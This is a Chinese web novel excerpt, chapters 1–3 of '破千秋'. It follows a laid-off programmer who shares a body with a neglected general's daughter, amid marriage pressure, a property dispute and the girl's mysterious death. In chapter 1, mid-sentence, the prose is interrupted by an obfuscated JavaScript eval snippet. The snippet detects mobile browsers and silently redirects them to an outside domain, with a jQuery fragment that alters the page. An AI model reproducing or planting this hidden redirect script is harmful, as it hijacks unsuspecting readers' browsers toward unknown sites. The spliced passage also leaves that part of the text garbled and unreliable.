《破千秋》 1. 风起瑶京 大沅景和八年,靖边节度使、镇北将军叶绍班师回朝。北境凶险,积恶多年,群盗割据,胡骑肆虐,边关久陷兵祸,民不聊生。彼时满朝文武,或劝固守,或主议和,无一敢言胜者,唯叶绍请命北征,誓平北患。圣人观其忠勇,拜为靖边节度使,赐帅印,领叶家军六万,策马北行。 六载鏖战,胡地风沙如刀,关隘险峻如天堑,粮草困乏,寇匪诡谲,前线多次濒临崩溃。叶绍身披甲胄,戎马倥偬,亲临沙场,屡败敌锋,终于扫清北境积恶,斩胡骑大酋,安边关万民。大沅收复北地千里,边陲重现清平,百姓焚香跪拜,皆称叶家军为护国之师。 圣上闻捷,龙颜大悦,亲率百官出城迎接,赐爵宁安郡王,拜太尉,位列三公,以彰其功。是时,满朝文武无不叹服,百姓夹道欢呼,歌曰:“叶家将军,北定胡尘,功在社稷,威震乾坤。” 大沅两朝未设太尉,自开国以来未有异姓封王。一时朝野震动,群臣纷议。朝堂内外,或称颂,或疑虑,或妒忌,议论交织不绝:此举岂非官家有意改重文轻武之国策? “果真如此吗?”青枝端着茶盘,满脸兴奋地凑到叶斯年面前,“娘子,外面传得沸沸扬扬,都说老爷成了太尉,还封了王。” 叶斯年借着烛光,翻看着一封信。信上的字瘦劲锋利,带着几分冷峻的力量:“男性对女性力量的封印,从你这几日看的神话故事中便可见端倪。” 她的目光在这句话上停顿了片刻,眉心微微一蹙,像是被什么触动了心弦,但很快便收敛起情绪,继续翻看下去。 她语气淡然地说道:“大沅两朝未设太尉,更遑论异姓封王。北境的风沙,只怕要吹进瑶京了。” 是夜,叶府高朋满座,宾客云集。厅堂内灯火通明,美酒佳肴流转不停,仆役忙碌穿梭,欢声笑语汇成一片,将夜色映衬得如昼般热闹。 然而,内院一隅的小院却寂静无声,无灯火辉映,也无喧闹相伴。那正是叶府嫡女叶斯年的住处,仿佛刻意被隔绝在这场盛宴之外,独自沉浸在一片冷清中。 六年前,母亲李清荣因嫡子战死沙场,郁郁而终。此后,父亲北伐,叶府便再无她的容身之地。周姨娘以“癔症未愈”为由,将她彻底隔绝在内院深处。若非那位来自千年之外的阿姐,她不知自己如何熬过这漫长的沉寂岁月。 可如今,父亲与其他兄长凯旋而归,满载荣光,却也未曾记起她的存在。 叶斯年猛地站起身,拉了拉青枝的手示意起身。青枝立刻心领神会。两人动作轻快,熟稔地翻上院墙,身轻如燕滑入夜色之中。 青枝是母亲为她挑选的贴身侍女,自幼习武,身手矫捷,动作敏捷。叶斯年从青枝那里只学会了翻墙的本事。这些年,她与青枝溜出府的次数屈指可数。更多时候,是那位阿姐借了她的身体,跑出去肆意玩闹。 正当她们准备悄然落地时,前院传来一阵急促的脚步声,隐约可见人影晃动。 一名略显年迈的侍官迈步踏入叶府,随行的宫人双手捧着一只雕饰华美的漆盒。漆盒通体漆面光滑如镜,在摇曳的灯火中泛着温润的光泽。 叶府管家连忙快步迎上前,低头弯腰,神色间透着几分恭敬与小心翼翼,生怕稍有怠慢。“张公公大驾光临,”管家拱手行礼,言语间透着几分谄媚与探寻,“不知有何指示?” 张公公脸上浮现一抹笑意,温和中透着几分威仪:“奉圣人之命,特送中秋宴请帖。”他双手将漆盒呈向叶绍,语气恭敬却带着几分郑重,“届时文武百官皆可携家眷出席。听闻府中千金才名远扬,圣人对此甚为期待。” “圣人近来感慨良多,每逢佳节,尤为思念闺中姐妹。近日在宫中闲谈时,常提起当年未出阁时,与姐妹们共聚一堂,吟诗作赋的雅趣。此次中秋宴,也特意设了一个雅集,想重温旧时情怀。” 话音一落,厅中众人皆露出一丝了然的神情。张公公话中提到的“姐妹”,显然指的是叶斯年的生母——已故的大娘子李清荣。 叶将军脸上露出些许愧色,若有所思地望着手中的请帖。在一旁的周姨娘则轻轻掩唇笑道:“小女瑾年素来乖巧,得圣人厚爱,定不负所望。”她话锋一转,试探地看向叶将军,随即说道,“至于斯年……她体弱多病,恐扰了贵人的雅兴。” 众人一片寂静,仿佛都默认了这般说法。叶将军眉头微皱,似有些不悦,却没有开口反驳。 张公公眼神微微一暗,却不再多言,恭敬地朝叶绍行了一礼,告辞离去。 叶斯年趴在墙上,心中一片凄然。她看见父亲的犹豫和无动于衷。 夜渐深,叶府的喧闹逐渐散去,前院灯火熄灭,归于平静。叶斯年回到自己的小院,静静地坐在桌旁,提起纸笔,在昏黄的灯光下缓缓写下又一封信。信笺写好后,她将其折叠整齐,小心地放进贴身的衣襟里…… 与此同时,公元2024年早春深夜,叶思楠盯着手机屏幕里刚到账的补偿金,胸口像压了一块巨石,喘不过气。 32岁的她,刚被大厂“优化”。 从小到大,她没什么远大的梦想,只凭一股不服输的劲头一路向前。读书时为考试熬夜刷题,工作后为薪水拼命加班。可如今,所有努力都化为泡影。 公司解雇了她。她除了几年前在老家买的一套房,再无所有。而那套房,早已成了弟弟的婚房。至于父母村里的自建房,连她的床都没有。 年前家人得知她失业,急着催她回家。叶思楠本以为父母开始关心她了,没想到刚进家门,母亲就迫不及待要给她相亲。 “他们家那么大的工厂,就这么一个儿子,你嫁过去可就享福了。”母亲的声音里透着笃定,仿佛这就是她最好的归宿。 早春的寒风从窗缝渗入,黑夜裹着刺骨的冷意环绕着她。叶思楠蜷缩在沙发上,老旧的棉被散发着霉味,湿冷透过厚厚的织物直钻进骨头。墙上挂着一幅菜市场淘来的山水画,粗糙简陋,倒是有点像叶斯年的小院。那边中秋将至,秋意正浓;而这边才刚过农历二月,湿冷阴沉。 十六岁那年,她第一次在梦境中进入了那个世界。起初,她以为叶斯年只是自己内心的映射——一个无依无靠、被人忽视的八岁女孩。直到她二十岁时,梦中的女孩开始给她写信,她才意识到,这或许并不只是幻想。也许那真是一个平行世界,或者,她的精神状态真的出了问题。 她总是在信中鼓励那个女孩,仿佛在安慰年少时的自己。可如今,现实压得她几乎喘不过气——失业、无家可归,家人甚至劝她嫁给隔壁村老板的儿子。直到这一刻,她才明白,任何语言都无法抚平家人带来的痛楚。 现实和梦境,竟没有一个是她的避风港。 当她再次醒来时,映入眼帘的是那间熟悉的古色古香的房间,空气中弥漫着淡淡的桂花香与木质的清幽气息。叶斯年刚刚入睡,而她的意识又一次接管了这具身体。 她躺在温暖的床榻上,柔软的被褥覆在身上,耳边传来夜风叩响窗棂的声响。窗外月光如水,竹柏的剪影描在纸窗上、青石砖上,如水藻般轻轻荡漾。 在这个世界里,她没有失业也没有被逼婚,可叶斯年也有属于她的困境。如果这真的只是她的梦,为何不做个天之骄女、集万千宠爱于一生的梦呢? 她微微起身,低头看着这双稚嫩的手,指尖的触感真实得让人恍惚。她时常分不清,究竟哪一边才是梦境。伸手摸了摸贴身的里衣,在衣襟间找到那封熟悉的信笺,薄薄的纸张似乎还带着些许余温。 她靠在床榻上,微弱的月光透过纸窗洒落在她身侧。熟悉的字迹跃入眼帘: “姐姐,父亲凯旋归来,升任当朝太尉,加封宁安郡王,然我未得一见。周氏素来于此等场合禁我出院,言我癔症未愈,恐在宾客面前有失家门颜面。我潜出小院,于庭中偶见皇后使者奉帖而来,邀叶家女儿参加中秋宴还提及了我已故的母亲。母亲与当朝皇后同族。 此次父亲战功赫赫,皇后恐有意拉拢父亲入太子阵营,故特遣人致此请帖。我本应以嫡女之身应宴,然周氏欲以瑾年代之,谋其入宫。此事于我何干?我所求者,不过是一展所学,令父亲与世人知我非癔症未愈。” 叶思楠看着信纸,心中一阵发紧。周氏为叶斯年营造多年的疯癫人设,叶思楠其实难辞其咎。 叶思楠首次进入这个世界时,只觉得既是自己的梦境,便无拘无束。她从未意识到自己的所作所为在她离开之后,对叶斯年会是多么大的困扰。 直到叶斯年十岁那年,在身边留下了一封信与她交流,叶思楠才恍然意识到,这并非只是一个简单的梦境。即便她至今都无法解释这到底是梦,还是奇妙的平行世界,但叶斯年是真实的——她有情绪、有思想、有意识。 叶思楠眼中不过是无伤大雅的玩闹,却在叶斯年的世界掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698862|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了轩然大波,让她被扣上“癔症”的帽子。毕竟这是一个规训森严的封建社会,对女子的言行举止有着无处不在的束缚。一点出格的举动,便足以被视为失礼、轻狂,而所谓“癔症”,不过是说辞。 自那以后,叶思楠收敛了早年的任性,开始认真地与叶斯年交流。她尽可能弥补自己之前的荒唐,与她分享诗词与见闻,逗她开心,给她讲现代社会制度和思想……然而,那些早年的胡闹已经成了叶斯年抹不去的烙印。 多年来,叶思楠通过这些信笺和自己的探索,对这个世界的境况已了然于心。信中叶斯年提到皇后的侍官提及已故的李清荣,这事恐怕没那么简单。 叶斯年的生母——已故的大娘子李清荣是李家旁支长女,自幼便沾染书香门第的熏陶,教养和姿容都无可挑剔。而周氏则是寒门庶女,自进府以来,就嫉妒大娘子的出身与气度。 大娘子去世后,叶将军奉旨北伐,府中事务由周氏主理。周氏对叶斯年天生的从容与才情心生妒意,常借“癔症”之事打压于她,唯恐瑾年日后无法与斯年相提并论,正如她当年无法与大娘子比肩一般。 李氏在大沅朝堂之上举足轻重,自开朝以来便植根权柄,历代皆有人入仕,文臣辈出,多为祖辈位列三公,以治世之才闻名朝野。李氏与皇室几代联姻,家族中已有两位女子入住中宫。当今皇后正出自李氏。家族之力贯穿皇室内外,堪称稳固。朝中大臣们皆知,凡是涉及大事,李家无不参议其间。坊间甚至有“国之半壁出自李氏”之说。 官家即位以来,始终对李氏心存忌惮。尽管李家近年行事愈发低调,但官家仍逐步削弱其在朝堂中的权力。朝中重臣心知肚明,官家这是在防范功高震主、皇权旁落。 李清荣当年嫁入叶家,正值叶家军功卓著之时。叶绍作为叶家的嫡长子,自幼随父征战,年少有为,深得朝廷器重。李清荣乃李氏旁支正妻长女,在家族中地位微薄。李氏这样的世家虽声名显赫,其实内部分化严重,资源分配不均。旁支在嫡系之下步步受制,常年被忽视。彼时李清荣的父亲将她嫁给叶绍,看中的不仅是叶家当前的军功,更是押注叶绍的未来——若他日后青云直上,旁支子女也能借此抬高身份,再不用受宗族的气。 对叶家而言,迎娶李氏之女,则是一次难得的机会。李家的名望加持,为叶家军功之外的门第增添了分量。如此婚事,既是李家对叶家实力的认可,也是一场各方利益的博弈。 大沅自立国以来,奉行“重文轻武”,对军功的嘉奖向来有所保留,唯恐武将拥兵自重,威胁赵氏皇室的地位。若非此次北伐告捷,战果显赫,皇帝也不至于打破常规,对叶绍大加封赏。同样的,若非此次叶绍战功卓著、功成加爵,谁会想起出身旁支、嫁入叶府的李夫人? 如今,皇帝重赏叶绍,而李氏与叶家之间有姻亲关系,这或许正是李家重新布局的一次良机。李清荣为旁支长女,现已过世,但留下一女。这段旧情既可以被利用,又不会引起官家的疑心,甚至还能借此试探官家是否意在全面打压李家。 正因如此,皇后特意向叶家递来了中秋宴的请帖,意图将叶府嫡女纳入太子妃的候选名单。此举不仅可将叶家拉入朝堂的权力漩涡,更可为太子争得叶家的支持。 说来也奇,当今太子年已十八,太子妃的人选年年传闻不断,却始终没有下落。更令人费解的是,虽说太子才学卓绝,深得官家喜爱,但在男女之事上却似乎毫无兴致,府上连个宠姬都没有。文武百官对此议论纷纷,猜测不断。 总而言之,此次中秋宴非叶斯年不可。她不仅是叶家嫡女,也是皇后血脉相承的象征。周氏为瑾年精心谋划的如意算盘,恐怕要就此落空。 然而,有一点让叶思楠百思不得其解。周氏这些年刻意渲染叶斯年的“癔症”之名,皇后不可能毫不知情。太子至今未婚,已令朝中众人猜疑纷纷,如今若真要为太子选妃,为何偏偏会看中一个被传得疯疯癫癫的女子?即便是为巩固李氏与叶府的关系,这个选择也显得出乎常理。 无论如何,叶斯年所求的,不过是一个能够发声的机会。她缓缓起身,走到书桌前,借着透窗洒下的清冷月光,铺开纸笺,提笔开始书写回信。 在叶思楠看来,叶斯年的才学绝非寻常闺阁女子可比,只要有机会,定能够一鸣惊人。这场宴会本就非她不可,想来一切都会顺利,断然不会有什么意外。 2. 养育之恩 叶思楠从客厅的沙发上醒来,揉了揉发酸的肩膀。窗外晨光刺得她眼睛发痛。她的生物钟十分准确,抬眼一看果然是早晨七点半。 多年来,为了不打扰叶斯年的生活,她的作息一直非常规律——每晚十二点入睡,到第二天早上七点起床。虽然不是每晚的梦里都能进入那个世界,但也是隔三岔五的事儿。 母亲的声音从厨房传来:“中午弟弟他们回来吃饭,你也准备一下,大家一起吃个团圆饭。” 她揉着额角,心知这顿饭不会多愉快。 中午,弟弟和弟媳如约回来,一家人围坐在餐桌前。母亲笑脸盈盈,热情地招呼:“快吃快吃,好不容易一家人聚一聚。” 刚开始大家还能维持表面的和气,但不出几分钟,话题便不可避免地转到了叶思楠的婚事上。 “你都三十二了,”母亲语重心长地劝道,“现在不找个人嫁了,以后怎么办?你看弟弟,在家里有房有车有工作,媳妇也乖巧听话,日子多安稳。你呢?一个女孩子还想折腾到什么时候?” 弟媳立刻接过话头,语气温柔,话里却带着莫名其妙的优越感:“姐,你一个人在外面打拼多累啊。女孩都是要嫁人的,再晚几年你可真没得挑了。” “是啊,那人我认识,人挺不错的。”弟弟笑着说,像是在撮合一笔理所当然的交易,“要不你试着接触一下?” 叶思楠沉默不语,胃里像压了一块铅,堵得喘不过气。母亲做了一桌弟弟爱吃的菜,四菜一汤都撒着她闻到就想吐的香菜。弟弟满不在乎地圆场。父亲只顾埋头吃饭,像个局外人。弟媳则是端着不知道哪里来的优越感,难道是因为嫁人了? 她再也忍不住,冷冷撇了弟媳一眼,淡声道:“女孩就一定得嫁人?不努力的女孩才会被人抓去嫁人。” 随即将目光转向气势凌人的母亲,语调平静却锋利:“弟弟有房有车有工作?那房子是我的,他知道吗?” 话音刚落,餐桌上的气氛瞬间凝滞。弟媳的脸色陡然变了,放下筷子,语气变得尖锐:“那房子是我们结婚的婚房,不是说好了是我们的吗?” 叶思楠冷冷开口道:“房子是我买的,房产证上写了我的名字,什么时候成你们的了?” 弟弟连忙陪着笑脸:“姐,都住进去了,一家人就别计较了。” 母亲也不甘示弱,急忙插话:“空着也是空着,给你弟弟结婚用怎么了?你一个女孩子买房,不就是给家里人住?你还能一直住家里不成?反正你迟早要嫁出去。” 叶思楠的怒火逐渐攀升,语气愈发冷厉:“你们现在住的这栋自建房,也是我掏钱帮你们建的。当时你说是给弟弟建婚房,我也给了钱。”她狠狠瞪着母亲,字字如刀:“我当初把钥匙给你,是让你偶尔去通风,我节假日回来能住。结果呢?他们就这样住进去了,连一句招呼都不打?”她放下碗筷,“这也是婚房,那也是婚房,弟弟是结了两次婚吗!” 她的话如同一记重锤砸在众人心头。空气仿佛瞬间凝固,所有人都停下了动作。弟媳的脸色越来越难看,冷冷地说:“那房子说好了是我们婚房,要我搬出去,除非离婚。” 弟弟低声哄着媳妇:“好了好了,房子就是我们的,不至于闹成这样。” 母亲见气氛僵住,神情不耐,强作和气地说:“吃饭不要争吵,有什么事以后再说。” 午饭过后,母亲将她叫到一旁,语气中带着几分不耐:“你先住这间吧。家里地方不大,这间房间暂时腾给你用,总比你睡沙发强。” 叶思楠看着那间堆满杂物的小房间,心里一片冰凉。杂物乱堆一地,床几乎被旧家具和纸箱掩盖。她没有说话,只是默默将杂物移开,把床铺好。 所有的亲情,早已在利益与算计中消磨殆尽。她所渴求的,不过是一点最基本的尊重。当初在附近买房,除了投资,也是因为这里终究是家乡。当母亲开口向她要钱,为弟弟建婚房时,她从未想过这笔钱还需要谁来偿还。 然而,如今连一间属于自己的房间都没有,只有堆满杂物的小屋勉强容身。她为这个家倾注了如此多,却始终被视作一件可以随意榨取的工具,无情地剥削、消耗。 “三十多岁的女人,公司嫌弃,家里也嫌弃。”她心中苦笑。此刻,她盘算着把房子卖掉,拿着钱离开这个地方,在二三线城市买个小房子安顿下来,再重新找份工作,哪怕是从头开始,就当自己重生了。 之后的几天她盘算着如何在弟弟和弟媳已经占住房子的情况下,把房子拿回来并顺利卖掉。问题接踵而至:他们占着不走,她自己连门禁密码都没有,这套房该怎么处理才能尽快脱手?她每天都查阅相关的法律法规,找律师咨询。 一天早上,母亲敲开了杂物间的门,神情自然地说:“中午好好收拾一下,有客人要来。” 叶思楠愣了一下:“什么客人?” 母亲随口敷衍:“反正是熟人,好好收拾一下别穿着睡衣。” 叶思楠心头隐隐升起一股不祥的预感,但她的思绪已经被房子的事缠住了。她没有多想,机械地换了身干净的衣服,然后坐到电脑前,继续一遍遍翻查相关的法律法规。 母亲在厨房里叮叮当当地忙活了一上午,眼看午饭时间将近,就见一个满身烟味、挺着啤酒肚的男人提着烟酒茶礼,大摇大摆地走进了客厅。母亲立刻堆起满脸笑容,热情地迎上去:“哎呀,王老板大驾光临,快请进,快请进!” 紧跟在他身后的,是一个同样挺着肚子的年轻男人,手里拎着一篮子水果,进门时露出一副拘谨的笑容。他的目光在叶思楠身上停顿了片刻,似乎不知该说些什么,最终挤出一句客套话:“常听我爸提起你,说你特别优秀。” 他将水果放在玄关,随手挠了挠自己的头发,似乎忽然意识到今天特意用了发胶定型,赶忙用手小心地抹平几根乱发。那动作显得有些笨拙,像是怕弄乱了这难得一见的“得体”形象。 叶思楠心头猛地一沉,果然,不详的预感是对的。 “这就是你说的客人?”她声音冷如冰霜,目光直直地望向母亲。 母亲依旧笑脸盈盈,仿佛没有察觉到她的情绪:“王老板和小王特意过来看看你,先吃饭吧,别站着。” 叶思楠只觉得胸口像被铁块砸中,愤怒在心头翻腾。她的呼吸渐渐急促,指尖微微发抖。 叶思楠心里燃起一股压抑的怒火。她不认识这位小王,对他也谈不上有什么意见。母亲自作主张地把人请进门。她知道母亲心里的算盘,不就是认定她不会在客人面前发火,最终还是会碍于情面客客气气地把这顿饭吃完吗? 一次次地利用她的心软,把所谓的“一家人”挂在嘴边,却根本没把她当做家人。明知道她讨厌香菜,汤里还是撒满了香菜;明明她几次推辞了相亲的提议,还是把人请进门。母亲从不在意她的感受,只要事情能按照她的意愿推进,叶思楠的想法从来不重要。她甚至觉得,如果这是在叶斯年的世界里,说不定他们早就把她五花大绑,直接塞进花轿送过去了。 她的胸口剧烈起伏,指尖微微发颤,再也压抑不住内心翻涌的愤怒。她咬紧牙关,声音微微颤抖,却字字如刀:“女儿是什么消耗品吗?用完了就随便丢掉吗?是不是想着趁早卖个好价钱?” 王老板还没走进饭厅,就被叶思楠的几句话震住,脚步顿时停在原地。身后的小王也愣住了,不知所措地站在门口。父亲察觉到气氛不对,连忙上前打圆场,一边拉着王老板往饭桌那边走,一边呵斥:“胡说什么!像什么样子!” 但王老板没有动,只是站在那儿,神情有些尴尬。叶思楠的目光紧盯着他,语气平静却因愤怒而微微颤抖:“你有女儿吧?” 王老板愣了一下,点了点头。 她眼里泛着泪光,喉咙像被堵住似的艰难开口:“你会让人这样进门,随便相看你女儿吗?” 王老板面色一沉,沉默片刻后叹了口气:“今天冒犯了,饭就先不吃了。”说完,他转头对叶思楠的母亲说道:“年轻人的事还是让他们自己去联系吧,今天打扰了。我带我儿子先回去了,你们一家人慢慢吃。” 说罢,王老板拍了拍小王的肩膀,示意他离开。小王看了一眼叶思楠,又低头挠了挠头发,跟在父亲身后默默走出了大门。 王老板父子刚走,母亲便彻底失控。她猛地抱起玄关处的果篮,狠狠砸向叶思楠,尖声怒斥:“要卖我早就卖了!还用等到现在吗?!” 果篮在空中划出一道弧线,伴随着愤怒的喊声重重摔在地上,水果滚落一地,碎裂的香瓜与蜜瓜汁 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她的声音因愤怒而颤抖,语句如脱缰的野马,疯狂地从她口中涌出,带着失控的语调和刺耳的尖鸣:“从我出生那一刻起,我就是弟弟的血包!思楠思楠!你们不就是盼着生个男的吗?!你们为什么不干脆把我杀了!像妹妹一样,脐带都不剪就扔垃圾桶!” 母亲被她的话震得一愣,脸色瞬间铁青。父亲张了张嘴,最终依旧选择低头沉默。叶思楠一直以来都用沉默维持着表面的和平,清楚自己在这个家里分量轻微,不足以支撑起一次真正的抗争。她知道,只有低头、顺从,才能吃饭上学。然而这一次,她已经下定决心要离开这个从未属于她的家了。 她的手指因极度愤怒而不自觉地颤抖,胸口剧烈起伏,呼吸紊乱。压抑多年的情绪如决堤的洪水,在这一刻彻底失控,将她无情地卷入愤怒的深渊。那股怒火仿佛要将她的理智连同躯体燃烧殆尽。如果一个人在这样的时刻死去,一定会化作一只散发着黑气的厉鬼,在怨恨与不甘中徘徊不去。 她几乎是用嘶吼的声音将压抑多年的愤怒彻底宣泄出来:“我也是活生生的人!是从你身体里掉下来的肉!你也当过女儿,非得这样对我,心里才舒服吗?” 积压了32年的委屈彻底爆发,她的声音因愤怒而颤抖,吼了出来:“我上了大学以后,没跟你们要过一分钱!我以为你们开始关心我了,所以才愿意在你们身边买房,帮弟弟建婚房!可到头来,我连一张床都没有!我睡沙发,住杂货间!你们眼里没有我,只有我的钱!我现在没工作了,要么去死要么嫁人是不是?!” 这么多年来,她从未在家里如此痛快地说过这么多话。一直以来强势的母亲,此刻在她这场失控的情绪爆发面前,竟显得有些措手不及。 她的眼泪在眼眶中打转,声音逐渐沙哑:“弟弟娶完媳妇,我这个‘思男’的使命也算完成了,对不对?现在我在这个家也没什么存在的必要了,是不是?你们急着让我嫁到隔壁村,是不是想着等你们年纪大了,还能让我伺候你们?弟媳是外人,弟弟又是你们捧在心尖尖上的男宝,使唤我又方便又不心疼是不是?” 她冷笑一声,泪水终于滑落:“最好让我嫁个有钱人,然后继续往家里贴钱。等弟弟有了孩子,好让我接着帮衬他。说出去还能给你们长脸——‘我女儿嫁给了那谁谁谁的儿子!’” 她的声音愈发嘶哑,仿佛要将一生的委屈与愤怒尽数倾泻而出:“在你们眼里,让我活下来就是天大的恩赐!不榨干我最后一滴血,真是太亏了!早知道当初也把我丢进垃圾桶,没准还能连生两个儿子,是不是?” 母亲被她这番话彻底激怒,脸色铁青,却一时说不出话来。她抄起身边的茶叶罐,愤怒地朝她砸去。叶思楠没有闪躲,任凭茶叶罐砸在身上,仿佛感觉不到痛楚,只是嘶吼着,声音沙哑而绝望:“我问你,是不是?!是不是?!” 她一边喊着,一边捂着胸口,感觉仿佛有一块巨石压在心头,呼吸越来越急促而紊乱。手脚开始发麻,渐渐失去了知觉,眼前的世界也逐渐变得模糊不清。头晕目眩的感觉如潮水般席卷而来,冷汗顺着额角滑下,她的身体不由自主地开始轻微颤抖。 她拼命想吸气,可空气像是被抽空了,无论她如何用力,肺部都吸不进一丝空气。胸口传来一阵剧烈的刺痛,耳边的声音越来越遥远,眼前的光影也开始扭曲晃动。最终,她感到一阵天旋地转,身体彻底失去支撑,重重地倒在地上,陷入了无边的黑暗。 3. 迷雾重重 叶思楠迷迷糊糊地睁开眼,纱帐在微风中轻轻摇曳,空气中弥漫着淡淡的桂花香——她又来到了叶斯年的世界。可这不是叶斯年的房间!更诡异的是,斯年怎么会在这个时间点躺在床上?眼前的情景透着一丝异样,让她的心头隐隐作痛,不详的预感如同迷雾中的怪物,正一步步逼近,逐渐成形。 她撑起身体,只觉得胸口隐隐发闷。房门敞开着,叶斯年的贴身侍女青枝跪在门口,低声啜泣着。 青枝是叶斯年母亲留给她的贴身侍女。在叶绍常年不在家的日子里,叶斯年与青枝相依为命,感情深厚,情同姊妹。叶斯年经常与青枝分享心事,因此青枝早已知道,自家娘子偶尔会“变成另一个人”。起初,她对此充满恐惧,但随着时间的推移,她渐渐对这位神秘阿姐产生了好奇。 听到屋内的动静,青枝猛地抬起头,看到叶斯年醒来时,脸上先是愕然,随后喜极而泣地哭喊:“醒了!娘子醒了!” 叶绍站在院中,听见青枝的呼喊却一时没反应过来。还是吴大夫先行一步进了屋,叶绍急忙跟着进来。吴大夫是个云游四方的名医,在叶斯年小时候曾为她诊断癔症。有一次正好碰上叶思楠来了,他曾疑惑地说:“脉象虽稳,却仿佛是换了一个人。”之后他便离开了叶府,再未出现。 吴大夫走到床榻旁,轻轻搭上她的脉搏。叶思楠竭力让自己的呼吸平稳,悄悄观察着吴大夫的神情。片刻之间,她察觉到他眼中闪过一丝慌乱,但他很快掩饰住情绪,匆匆收回手,对叶绍恭敬地说道:“娘子已无大碍,能苏醒实属奇迹。静养数日,便可恢复如常。” 叶思楠松了口气,却也察觉到吴大夫的眼神里藏着一丝复杂。显然,他看出端倪,但最终选择保持沉默。 叶绍叹了口气,见周氏欲言又止,冷冷地哼了一声,眼神凌厉地扫了她一眼,顿时让她噤若寒蝉。随后,他转向叶斯年,语气略显缓和:“好好休息,不必多想其他的事。离中秋宴还有半个月,你只管养好精神。”他又转头嘱咐青枝:“照顾好斯年,切莫再出岔子。” 说完,叶绍再未多言,拂袖而去。周氏不敢多留,匆匆跟在他身后,神色间透着几分不安。叶瑾年紧随其后,步伐略显迟疑,神情复杂。她的目光在叶斯年身上停留了片刻,最终什么也没说,低垂着头,小步跟上了她母亲的脚步,离开了叶斯年的小院。 待众人散去,叶思楠唤来青枝。青枝走进房中,关上门,小心翼翼地看着她,试探着低声唤道:“阿姐?” 叶思楠叹了口气,拍了拍她的手,轻轻摇头。 青枝点了点头,泪水却止不住地往下掉:“我们娘子,还会回来吗? 叶思楠愣了片刻,不知该如何回应。眼前的情况让她感到一阵迷茫。她是因愤怒而晕倒,而叶斯年却似乎遭遇了不测。 沉默片刻后,她从里衣间取出叶斯年留下的信件,一封一封仔细翻阅。这几日叶斯年的心情不错,信中多是她新创作的诗词,内容围绕军旅、父亲、家人以及即将到来的中秋佳节。 叶思楠的目光停在了今晨的那封信上。字迹依旧娟秀整齐,字里行间的犹疑却令人不安: “阿姐,今日周姨娘忽邀我前往郊外别院小聚,言称有母亲的遗物须在我入宫前交付于我。她还特意命人为我裁制新衣,言辞殷勤有礼。我心知其中恐有不轨之意,然她言及此物甚为重要。思来想去,那或许是母亲留给我的最后念想,终究不忍错过,便应了她的邀请。” 叶思楠盯着信中的字句,心头的刺痛越发明显。不详的预感如同乌云般在她心底汇聚、蔓延,仿佛即将吞噬一切。事情远比她想象得更加复杂,而这场危机,才刚刚开始。 她低声吩咐道:“把信烧了,不要留下任何痕迹。”青枝含泪点头,将信小心收起。 根据青枝的描述,叶思楠终于理清了事情的经过。抵达别院后,周氏遣散了随行的仆从,只留下叶斯年单独与她谈话。青枝心中担忧,却无法抗拒周氏的命令,只能眼睁睁看着叶斯年入内。 然而,让青枝疑惑的是,这次会面后,她并没有看到所谓的大夫人的遗物。午膳过后,一行人便匆匆踏上了返程。 “在回来的路上,娘子突然晕倒了。”青枝抽泣着说道,“等送回府时,已经断气了。府中的随军医官也束手无策。” “那吴大夫呢?”叶思楠低声问。 青枝擦了擦眼泪,哽咽着回答:“将军听说吴大夫在瑶京,便立刻遣人请来。可吴大夫诊断之后,也说无力回天。娘子断气了有一个时辰……” 叶思楠的心猛地一沉。叶斯年已断气一个时辰……那就是酉时中段,也就是18点整,正好是她在家里晕倒的时间,中午12点! “在别院午膳,都吃了什么?这些都查过了吗?”叶思楠急切地问道。 “将军已经派人仔细查过了,一切如常,没有任何问题。” “那唯一的可疑之处,不就是周氏单独与叶斯年的谈话吗?”叶思楠皱起眉头,语气沉重,“周氏一向谨慎,露出这么明显的破绽,可不像她的作风。” 现在外面刚打二更,也就是亥时,即晚上9点刚过。那边世界的时间就是下午18点,她昏迷了4个小时!叶思楠的心猛地一紧。她清楚自己大概是因呼吸碱中毒昏迷,如果抢救及时,很快就能在医院苏醒;可一旦错过最佳时机,她极有可能陷入脑死亡…… 青枝眼眶通红,泪水在眼底打转。她小心翼翼地收好最后一封信,准备按照吩咐将其焚毁。 她抬手按住跳痛的太阳穴,努力梳理思绪,回想起今日的种种——周氏和叶瑾年的几次欲言又止,分明藏着什么心思。可周氏怎敢在叶绍眼皮底下对叶斯年动手?叶绍素来不是宠妾灭妻的人,只是多年未归,未必清楚家中的情形。如今他既已归府,断然不会容许周氏胡作非为。 现在最大的疑问是周氏关起门来究竟对叶斯年说了什么、做了什么。这些事她无法直接与周氏母女对峙,只能小心探查。此刻,她必须谨慎行事,稍有不慎,便可能露出破绽。 她思索片刻,唯一能突破的点就是吴大夫。 吴大夫在叶斯年的脉象上发现异样,为何却闭口不言。以前他明明说过脉相是另一个人,如今却为何保持沉默?想到这里,叶思楠将自己的想法告诉青枝,并请她一同前往吴大夫的住处。 青枝愣了一下,但很快点头应下。她跟着叶斯年多年,对她的“另一个灵魂”也相当信任。 “走吧,我们得翻墙出去。”叶思楠低声道。 青枝轻巧地系紧外衣:“是!”她回房取来随身佩戴的短刀。 叶思楠换上叶斯年平日练武的劲装长袍,又从她小小的兵器库中挑选了一副趁手的指虎,熟练地戴在手上。作为一名现代程序员,以前的公司里有各种运动设施,她断断续续学过拳击和攀岩,如今这些技能都派上了用场。 她曾经鼓励叶斯年习武,说要有保护自己的能力。她本就是将门嫡女,家中也有护卫陪练。这副身体意外地强悍。 她们悄无声息地翻过院墙,迅速消失在黑夜中。一路上,青枝轻巧如猫,丝毫不发出声响。两人悄悄绕到吴大夫的宅院外。此时已过三更,然而吴大夫的房间里却依然亮着灯火。两人蹲在窗外观察片刻,却听见屋内传来一阵低沉的声音: “既然来了,就进来吧。” 叶思楠和青枝对视一眼,心头一沉。是叶绍的声音! 她们推门而入。吴大夫靠在一张高椅上,闭着眼睛。叶绍负手而立,神情冷峻,见到她们时只是轻叹了一声:“吴大夫说可能还有人要来,没想到会是你们。” 